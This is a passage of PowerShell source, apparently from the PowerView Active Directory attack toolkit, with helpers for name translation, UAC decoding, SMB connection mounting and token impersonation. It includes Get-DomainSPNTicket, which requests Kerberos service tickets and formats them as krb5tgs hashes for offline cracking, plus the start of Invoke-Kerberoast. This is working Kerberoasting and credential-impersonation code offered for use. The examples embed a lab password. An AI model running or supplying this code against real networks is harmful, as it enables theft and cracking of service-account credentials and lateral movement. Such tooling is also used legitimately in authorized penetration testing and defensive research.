  2221.         [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
  2222.         $OutputType,
  2223.  
  2224.         [ValidateNotNullOrEmpty()]
  2225.         [String]
  2226.         $Domain,
  2227.  
  2228.         [ValidateNotNullOrEmpty()]
  2229.         [Alias('DomainController')]
  2230.         [String]
  2231.         $Server,
  2232.  
  2233.         [Management.Automation.PSCredential]
  2234.         [Management.Automation.CredentialAttribute()]
  2235.         $Credential = [Management.Automation.PSCredential]::Empty
  2236.     )
  2237.  
  2238.     BEGIN {
  2239.         $NameTypes = @{
  2240.             'DN'                =   1  # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
  2241.             'Canonical'         =   2  # fabrikam.com/Engineers/Phineas Flynn
  2242.             'NT4'               =   3  # fabrikam\pflynn
  2243.             'Display'           =   4  # pflynn
  2244.             'DomainSimple'      =   5  # pflynn@fabrikam.com
  2245.             'EnterpriseSimple'  =   6  # pflynn@fabrikam.com
  2246.             'GUID'              =   7  # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
  2247.             'Unknown'           =   8  # unknown type - let the server do translation
  2248.             'UPN'               =   9  # pflynn@fabrikam.com
  2249.             'CanonicalEx'       =   10 # fabrikam.com/Users/Phineas Flynn
  2250.             'SPN'               =   11 # HTTP/kairomac.contoso.com
  2251.             'SID'               =   12 # S-1-5-21-12986231-600641547-709122288-57999
  2252.         }
  2253.  
  2254.         # accessor functions from Bill Stewart to simplify calls to NameTranslate
  2255.         function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
  2256.             $Output = $Null
  2257.             $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)
  2258.             Write-Output $Output
  2259.         }
  2260.  
  2261.         function Get-Property([__ComObject] $Object, [String] $Property) {
  2262.             $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
  2263.         }
  2264.  
  2265.         function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
  2266.             [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)
  2267.         }
  2268.  
  2269.         # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
  2270.         if ($PSBoundParameters['Server']) {
  2271.             $ADSInitType = 2
  2272.             $InitName = $Server
  2273.         }
  2274.         elseif ($PSBoundParameters['Domain']) {
  2275.             $ADSInitType = 1
  2276.             $InitName = $Domain
  2277.         }
  2278.         elseif ($PSBoundParameters['Credential']) {
  2279.             $Cred = $Credential.GetNetworkCredential()
  2280.             $ADSInitType = 1
  2281.             $InitName = $Cred.Domain
  2282.         }
  2283.         else {
  2284.             # if no domain or server is specified, default to GC initialization
  2285.             $ADSInitType = 3
  2286.             $InitName = $Null
  2287.         }
  2288.     }
  2289.  
  2290.     PROCESS {
  2291.         ForEach ($TargetIdentity in $Identity) {
  2292.             if (-not $PSBoundParameters['OutputType']) {
  2293.                 if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
  2294.                     $ADSOutputType = $NameTypes['DomainSimple']
  2295.                 }
  2296.                 else {
  2297.                     $ADSOutputType = $NameTypes['NT4']
  2298.                 }
  2299.             }
  2300.             else {
  2301.                 $ADSOutputType = $NameTypes[$OutputType]
  2302.             }
  2303.  
  2304.             $Translate = New-Object -ComObject NameTranslate
  2305.  
  2306.             if ($PSBoundParameters['Credential']) {
  2307.                 try {
  2308.                     $Cred = $Credential.GetNetworkCredential()
  2309.  
  2310.                     Invoke-Method $Translate 'InitEx' (
  2311.                         $ADSInitType,
  2312.                         $InitName,
  2313.                         $Cred.UserName,
  2314.                         $Cred.Domain,
  2315.                         $Cred.Password
  2316.                     )
  2317.                 }
  2318.                 catch {
  2319.                     Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
  2320.                 }
  2321.             }
  2322.             else {
  2323.                 try {
  2324.                     $Null = Invoke-Method $Translate 'Init' (
  2325.                         $ADSInitType,
  2326.                         $InitName
  2327.                     )
  2328.                 }
  2329.                 catch {
  2330.                     Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
  2331.                 }
  2332.             }
  2333.  
  2334.             # always chase all referrals
  2335.             Set-Property $Translate 'ChaseReferral' (0x60)
  2336.  
  2337.             try {
  2338.                 # 8 = Unknown name type -> let the server do the work for us
  2339.                 $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
  2340.                 Invoke-Method $Translate 'Get' ($ADSOutputType)
  2341.             }
  2342.             catch [System.Management.Automation.MethodInvocationException] {
  2343.                 Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
  2344.             }
  2345.         }
  2346.     }
  2347. }
  2348.  
  2349. function ConvertFrom-UACValue {
  2350. <#
  2351. .SYNOPSIS
  2352.  
  2353. Converts a UAC int value to human readable form.
  2354.  
  2355. Author: Will Schroeder (@harmj0y)  
  2356. License: BSD 3-Clause  
  2357. Required Dependencies: None  
  2358.  
  2359. .DESCRIPTION
  2360.  
  2361. This function will take an integer that represents a User Account
  2362. Control (UAC) binary blob and will covert it to an ordered
  2363. dictionary with each bitwise value broken out. By default only values
  2364. set are displayed- the -ShowAll switch will display all values with
  2365. a + next to the ones set.
  2366.  
  2367. .PARAMETER Value
  2368.  
  2369. Specifies the integer UAC value to convert.
  2370.  
  2371. .PARAMETER ShowAll
  2372.  
  2373. Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
  2374.  
  2375. .EXAMPLE
  2376.  
  2377. ConvertFrom-UACValue -Value 66176
  2378.  
  2379. Name                           Value
  2380. ----                           -----
  2381. ENCRYPTED_TEXT_PWD_ALLOWED     128
  2382. NORMAL_ACCOUNT                 512
  2383. DONT_EXPIRE_PASSWORD           65536
  2384.  
  2385. .EXAMPLE
  2386.  
  2387. Get-DomainUser harmj0y | ConvertFrom-UACValue
  2388.  
  2389. Name                           Value
  2390. ----                           -----
  2391. NORMAL_ACCOUNT                 512
  2392. DONT_EXPIRE_PASSWORD           65536
  2393.  
  2394. .EXAMPLE
  2395.  
  2396. Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
  2397.  
  2398. Name                           Value
  2399. ----                           -----
  2400. SCRIPT                         1
  2401. ACCOUNTDISABLE                 2
  2402. HOMEDIR_REQUIRED               8
  2403. LOCKOUT                        16
  2404. PASSWD_NOTREQD                 32
  2405. PASSWD_CANT_CHANGE             64
  2406. ENCRYPTED_TEXT_PWD_ALLOWED     128
  2407. TEMP_DUPLICATE_ACCOUNT         256
  2408. NORMAL_ACCOUNT                 512+
  2409. INTERDOMAIN_TRUST_ACCOUNT      2048
  2410. WORKSTATION_TRUST_ACCOUNT      4096
  2411. SERVER_TRUST_ACCOUNT           8192
  2412. DONT_EXPIRE_PASSWORD           65536+
  2413. MNS_LOGON_ACCOUNT              131072
  2414. SMARTCARD_REQUIRED             262144
  2415. TRUSTED_FOR_DELEGATION         524288
  2416. NOT_DELEGATED                  1048576
  2417. USE_DES_KEY_ONLY               2097152
  2418. DONT_REQ_PREAUTH               4194304
  2419. PASSWORD_EXPIRED               8388608
  2420. TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
  2421. PARTIAL_SECRETS_ACCOUNT        67108864
  2422.  
  2423. .INPUTS
  2424.  
  2425. Int
  2426.  
  2427. Accepts an integer representing a UAC binary blob.
  2428.  
  2429. .OUTPUTS
  2430.  
  2431. System.Collections.Specialized.OrderedDictionary
  2432.  
  2433. An ordered dictionary with the converted UAC fields.
  2434.  
  2435. .LINK
  2436.  
  2437. https://support.microsoft.com/en-us/kb/305144
  2438. #>
  2439.  
  2440.     [OutputType('System.Collections.Specialized.OrderedDictionary')]
  2441.     [CmdletBinding()]
  2442.     Param(
  2443.         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  2444.         [Alias('UAC', 'useraccountcontrol')]
  2445.         [Int]
  2446.         $Value,
  2447.  
  2448.         [Switch]
  2449.         $ShowAll
  2450.     )
  2451.  
  2452.     BEGIN {
  2453.         # values from https://support.microsoft.com/en-us/kb/305144
  2454.         $UACValues = New-Object System.Collections.Specialized.OrderedDictionary
  2455.         $UACValues.Add("SCRIPT", 1)
  2456.         $UACValues.Add("ACCOUNTDISABLE", 2)
  2457.         $UACValues.Add("HOMEDIR_REQUIRED", 8)
  2458.         $UACValues.Add("LOCKOUT", 16)
  2459.         $UACValues.Add("PASSWD_NOTREQD", 32)
  2460.         $UACValues.Add("PASSWD_CANT_CHANGE", 64)
  2461.         $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
  2462.         $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
  2463.         $UACValues.Add("NORMAL_ACCOUNT", 512)
  2464.         $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
  2465.         $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
  2466.         $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
  2467.         $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
  2468.         $UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
  2469.         $UACValues.Add("SMARTCARD_REQUIRED", 262144)
  2470.         $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
  2471.         $UACValues.Add("NOT_DELEGATED", 1048576)
  2472.         $UACValues.Add("USE_DES_KEY_ONLY", 2097152)
  2473.         $UACValues.Add("DONT_REQ_PREAUTH", 4194304)
  2474.         $UACValues.Add("PASSWORD_EXPIRED", 8388608)
  2475.         $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
  2476.         $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
  2477.     }
  2478.  
  2479.     PROCESS {
  2480.         $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
  2481.  
  2482.         if ($ShowAll) {
  2483.             ForEach ($UACValue in $UACValues.GetEnumerator()) {
  2484.                 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
  2485.                     $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
  2486.                 }
  2487.                 else {
  2488.                     $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
  2489.                 }
  2490.             }
  2491.         }
  2492.         else {
  2493.             ForEach ($UACValue in $UACValues.GetEnumerator()) {
  2494.                 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
  2495.                     $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
  2496.                 }
  2497.             }
  2498.         }
  2499.         $ResultUACValues
  2500.     }
  2501. }
  2502.  
  2503. function Add-RemoteConnection {
  2504. <#
  2505. .SYNOPSIS
  2506.  
  2507. Pseudo "mounts" a connection to a remote path using the specified
  2508. credential object, allowing for access of remote resources. If a -Path isn't
  2509. specified, a -ComputerName is required to pseudo-mount IPC$.
  2510.  
  2511. Author: Will Schroeder (@harmj0y)  
  2512. License: BSD 3-Clause  
  2513. Required Dependencies: PSReflect  
  2514.  
  2515. .DESCRIPTION
  2516.  
  2517. This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
  2518. to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
  2519. -Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
  2520.  
  2521. To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
  2522. or -ComputerName.
  2523.  
  2524. .PARAMETER ComputerName
  2525.  
  2526. Specifies the system to add a \\ComputerName\IPC$ connection for.
  2527.  
  2528. .PARAMETER Path
  2529.  
  2530. Specifies the remote \\UNC\path to add the connection for.
  2531.  
  2532. .PARAMETER Credential
  2533.  
  2534. A [Management.Automation.PSCredential] object of alternate credentials
  2535. for connection to the remote system.
  2536.  
  2537. .EXAMPLE
  2538.  
  2539. $Cred = Get-Credential
  2540. Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
  2541.  
  2542. .EXAMPLE
  2543.  
  2544. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  2545. $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  2546. Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
  2547.  
  2548. .EXAMPLE
  2549.  
  2550. $Cred = Get-Credential
  2551. @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection  -Credential $Cred
  2552. #>
  2553.  
  2554.     [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
  2555.     Param(
  2556.         [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  2557.         [Alias('HostName', 'dnshostname', 'name')]
  2558.         [ValidateNotNullOrEmpty()]
  2559.         [String[]]
  2560.         $ComputerName,
  2561.  
  2562.         [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
  2563.         [ValidatePattern('\\\\.*\\.*')]
  2564.         [String[]]
  2565.         $Path,
  2566.  
  2567.         [Parameter(Mandatory = $True)]
  2568.         [Management.Automation.PSCredential]
  2569.         [Management.Automation.CredentialAttribute()]
  2570.         $Credential
  2571.     )
  2572.  
  2573.     BEGIN {
  2574.         $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
  2575.         $NetResourceInstance.dwType = 1
  2576.     }
  2577.  
  2578.     PROCESS {
  2579.         $Paths = @()
  2580.         if ($PSBoundParameters['ComputerName']) {
  2581.             ForEach ($TargetComputerName in $ComputerName) {
  2582.                 $TargetComputerName = $TargetComputerName.Trim('\')
  2583.                 $Paths += ,"\\$TargetComputerName\IPC$"
  2584.             }
  2585.         }
  2586.         else {
  2587.             $Paths += ,$Path
  2588.         }
  2589.  
  2590.         ForEach ($TargetPath in $Paths) {
  2591.             $NetResourceInstance.lpRemoteName = $TargetPath
  2592.             Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
  2593.  
  2594.             # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
  2595.             #   CONNECT_TEMPORARY = 4
  2596.             $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
  2597.  
  2598.             if ($Result -eq 0) {
  2599.                 Write-Verbose "$TargetPath successfully mounted"
  2600.             }
  2601.             else {
  2602.                 Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
  2603.             }
  2604.         }
  2605.     }
  2606. }
  2607.  
  2608. function Remove-RemoteConnection {
  2609. <#
  2610. .SYNOPSIS
  2611.  
  2612. Destroys a connection created by New-RemoteConnection.
  2613.  
  2614. Author: Will Schroeder (@harmj0y)  
  2615. License: BSD 3-Clause  
  2616. Required Dependencies: PSReflect  
  2617.  
  2618. .DESCRIPTION
  2619.  
  2620. This function uses WNetCancelConnection2 to destroy a connection created by
  2621. New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
  2622. 'unmount' \\$ComputerName\IPC$.
  2623.  
  2624. .PARAMETER ComputerName
  2625.  
  2626. Specifies the system to remove a \\ComputerName\IPC$ connection for.
  2627.  
  2628. .PARAMETER Path
  2629.  
  2630. Specifies the remote \\UNC\path to remove the connection for.
  2631.  
  2632. .EXAMPLE
  2633.  
  2634. Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
  2635.  
  2636. .EXAMPLE
  2637.  
  2638. Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
  2639.  
  2640. .EXAMPLE
  2641.  
  2642. @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
  2643. #>
  2644.  
  2645.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
  2646.     [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
  2647.     Param(
  2648.         [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  2649.         [Alias('HostName', 'dnshostname', 'name')]
  2650.         [ValidateNotNullOrEmpty()]
  2651.         [String[]]
  2652.         $ComputerName,
  2653.  
  2654.         [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
  2655.         [ValidatePattern('\\\\.*\\.*')]
  2656.         [String[]]
  2657.         $Path
  2658.     )
  2659.  
  2660.     PROCESS {
  2661.         $Paths = @()
  2662.         if ($PSBoundParameters['ComputerName']) {
  2663.             ForEach ($TargetComputerName in $ComputerName) {
  2664.                 $TargetComputerName = $TargetComputerName.Trim('\')
  2665.                 $Paths += ,"\\$TargetComputerName\IPC$"
  2666.             }
  2667.         }
  2668.         else {
  2669.             $Paths += ,$Path
  2670.         }
  2671.  
  2672.         ForEach ($TargetPath in $Paths) {
  2673.             Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
  2674.             $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
  2675.  
  2676.             if ($Result -eq 0) {
  2677.                 Write-Verbose "$TargetPath successfully ummounted"
  2678.             }
  2679.             else {
  2680.                 Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
  2681.             }
  2682.         }
  2683.     }
  2684. }
  2685.  
  2686. function Invoke-UserImpersonation {
  2687. <#
  2688. .SYNOPSIS
  2689.  
  2690. Creates a new "runas /netonly" type logon and impersonates the token.
  2691.  
  2692. Author: Will Schroeder (@harmj0y)  
  2693. License: BSD 3-Clause  
  2694. Required Dependencies: PSReflect  
  2695.  
  2696. .DESCRIPTION
  2697.  
  2698. This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
  2699. to simulate "runas /netonly". The resulting token is then impersonated with
  2700. ImpersonateLoggedOnUser() and the token handle is returned for later usage
  2701. with Invoke-RevertToSelf.
  2702.  
  2703. .PARAMETER Credential
  2704.  
  2705. A [Management.Automation.PSCredential] object with alternate credentials
  2706. to impersonate in the current thread space.
  2707.  
  2708. .PARAMETER TokenHandle
  2709.  
  2710. An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
  2711. If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
  2712. is executed.
  2713.  
  2714. .PARAMETER Quiet
  2715.  
  2716. Suppress any warnings about STA vs MTA.
  2717.  
  2718. .EXAMPLE
  2719.  
  2720. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  2721. $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  2722. Invoke-UserImpersonation -Credential $Cred
  2723.  
  2724. .OUTPUTS
  2725.  
  2726. IntPtr
  2727.  
  2728. The TokenHandle result from LogonUser.
  2729. #>
  2730.  
  2731.     [OutputType([IntPtr])]
  2732.     [CmdletBinding(DefaultParameterSetName = 'Credential')]
  2733.     Param(
  2734.         [Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
  2735.         [Management.Automation.PSCredential]
  2736.         [Management.Automation.CredentialAttribute()]
  2737.         $Credential,
  2738.  
  2739.         [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
  2740.         [ValidateNotNull()]
  2741.         [IntPtr]
  2742.         $TokenHandle,
  2743.  
  2744.         [Switch]
  2745.         $Quiet
  2746.     )
  2747.  
  2748.     if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
  2749.         Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
  2750.     }
  2751.  
  2752.     if ($PSBoundParameters['TokenHandle']) {
  2753.         $LogonTokenHandle = $TokenHandle
  2754.     }
  2755.     else {
  2756.         $LogonTokenHandle = [IntPtr]::Zero
  2757.         $NetworkCredential = $Credential.GetNetworkCredential()
  2758.         $UserDomain = $NetworkCredential.Domain
  2759.         $UserName = $NetworkCredential.UserName
  2760.         Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
  2761.  
  2762.         # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
  2763.         #   this is to simulate "runas.exe /netonly" functionality
  2764.         $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
  2765.  
  2766.         if (-not $Result) {
  2767.             throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
  2768.         }
  2769.     }
  2770.  
  2771.     # actually impersonate the token from LogonUser()
  2772.     $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
  2773.  
  2774.     if (-not $Result) {
  2775.         throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
  2776.     }
  2777.  
  2778.     Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
  2779.     $LogonTokenHandle
  2780. }
  2781.  
  2782. function Invoke-RevertToSelf {
  2783. <#
  2784. .SYNOPSIS
  2785.  
  2786. Reverts any token impersonation.
  2787.  
  2788. Author: Will Schroeder (@harmj0y)  
  2789. License: BSD 3-Clause  
  2790. Required Dependencies: PSReflect  
  2791.  
  2792. .DESCRIPTION
  2793.  
  2794. This function uses RevertToSelf() to revert any impersonated tokens.
  2795. If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
  2796. CloseHandle() is used to close the opened handle.
  2797.  
  2798. .PARAMETER TokenHandle
  2799.  
  2800. An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
  2801.  
  2802. .EXAMPLE
  2803.  
  2804. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  2805. $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  2806. $Token = Invoke-UserImpersonation -Credential $Cred
  2807. Invoke-RevertToSelf -TokenHandle $Token
  2808. #>
  2809.  
  2810.     [CmdletBinding()]
  2811.     Param(
  2812.         [ValidateNotNull()]
  2813.         [IntPtr]
  2814.         $TokenHandle
  2815.     )
  2816.  
  2817.     if ($PSBoundParameters['TokenHandle']) {
  2818.         Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
  2819.         $Result = $Kernel32::CloseHandle($TokenHandle)
  2820.     }
  2821.  
  2822.     $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
  2823.  
  2824.     if (-not $Result) {
  2825.         throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
  2826.     }
  2827.  
  2828.     Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
  2829. }
  2830.  
  2831. function Get-DomainSPNTicket {
  2832.  
  2833.  
  2834.     [OutputType('PowerView.SPNTicket')]
  2835.     [CmdletBinding(DefaultParameterSetName = 'RawSPN')]
  2836.     Param (
  2837.         [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
  2838.         [ValidatePattern('.*/.*')]
  2839.         [Alias('ServicePrincipalName')]
  2840.         [String[]]
  2841.         $SPN,
  2842.  
  2843.         [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
  2844.         [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
  2845.         [Object[]]
  2846.         $User,
  2847.  
  2848.         [Management.Automation.PSCredential]
  2849.         [Management.Automation.CredentialAttribute()]
  2850.         $Credential = [Management.Automation.PSCredential]::Empty
  2851.     )
  2852.  
  2853.     BEGIN {
  2854.         $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
  2855.  
  2856.         if ($PSBoundParameters['Credential']) {
  2857.             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  2858.         }
  2859.     }
  2860.  
  2861.     PROCESS {
  2862.         if ($PSBoundParameters['User']) {
  2863.             $TargetObject = $User
  2864.         }
  2865.         else {
  2866.             $TargetObject = $SPN
  2867.         }
  2868.  
  2869.         ForEach ($Object in $TargetObject) {
  2870.             if ($PSBoundParameters['User']) {
  2871.                 $UserSPN = $Object.ServicePrincipalName
  2872.                 $SamAccountName = $Object.SamAccountName
  2873.                 $DistinguishedName = $Object.DistinguishedName
  2874.             }
  2875.             else {
  2876.                 $UserSPN = $Object
  2877.                 $SamAccountName = 'UNKNOWN'
  2878.                 $DistinguishedName = 'UNKNOWN'
  2879.             }
  2880.  
  2881.             # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
  2882.             if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
  2883.                 $UserSPN = $UserSPN[0]
  2884.             }
  2885.  
  2886.             try {
  2887.                 $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
  2888.             }
  2889.             catch {
  2890.                 Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
  2891.             }
  2892.             if ($Ticket) {
  2893.                 $TicketByteStream = $Ticket.GetRequest()
  2894.             }
  2895.             if ($TicketByteStream) {
  2896.                 $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
  2897.                 [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
  2898.                 $Parts.RemoveAt($Parts.Count - 1)
  2899.                 $Hash = $Parts -join 'A48201'
  2900.                 $Hash = $Hash.Insert(32, '$')
  2901.  
  2902.                 $Out = New-Object PSObject
  2903.                 $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
  2904.                 $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
  2905.                 $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
  2906.  
  2907.                 if ($DistinguishedName -ne 'UNKNOWN') {
  2908.                     $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  2909.                 }
  2910.                 else {
  2911.                     $UserDomain = 'UNKNOWN'
  2912.                 }
  2913.  
  2914.                 # hashcat output format (and now John's)
  2915.                 $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
  2916.  
  2917.                 $Out | Add-Member Noteproperty 'Hash' $HashFormat
  2918.                 $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
  2919.                 Write-Output $Out
  2920.             }
  2921.         }
  2922.     }
  2923.  
  2924.     END {
  2925.         if ($LogonToken) {
  2926.             Invoke-RevertToSelf -TokenHandle $LogonToken
  2927.         }
  2928.     }
  2929. }
  2930.  
  2931. function Invoke-Kerberoast {
  2932.  
  2933.  
  2934.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  2935.     [OutputType('PowerView.SPNTicket')]
  2936.     [CmdletBinding()]
  2937.     Param(
  2938.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  2939.         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
  2940.         [String[]]
  2941.         $Identity,
  2942.  
  2943.         [ValidateNotNullOrEmpty()]
  2944.         [String]
  2945.         $Domain,
  2946.  
  2947.         [ValidateNotNullOrEmpty()]
  2948.         [Alias('Filter')]
  2949.         [String]
  2950.         $LDAPFilter,
  2951.  
  2952.         [ValidateNotNullOrEmpty()]
  2953.         [Alias('ADSPath')]
  2954.         [String]
  2955.         $SearchBase,
  2956.  
  2957.         [ValidateNotNullOrEmpty()]
  2958.         [Alias('DomainController')]
  2959.         [String]
  2960.         $Server,
  2961.  
  2962.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  2963.         [String]
  2964.         $SearchScope = 'Subtree',
  2965.  
  2966.         [ValidateRange(1, 10000)]
  2967.         [Int]
  2968.         $ResultPageSize = 200,
  2969.  
  2970.         [ValidateRange(1, 10000)]
  2971.         [Int]
  2972.         $ServerTimeLimit,
  2973.  
  2974.         [Switch]
  2975.         $Tombstone,
  2976.  
  2977.         [Management.Automation.PSCredential]
  2978.         [Management.Automation.CredentialAttribute()]
  2979.         $Credential = [Management.Automation.PSCredential]::Empty
  2980.     )
  2981.  
  2982.     BEGIN {
  2983.         $UserSearcherArguments = @{
  2984.             'SPN' = $True
  2985.             'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
  2986.         }
  2987.         if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
  2988.         if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
  2989.         if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
  2990.         if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
  2991.         if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
  2992.         if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
  2993.         if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  2994.         if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
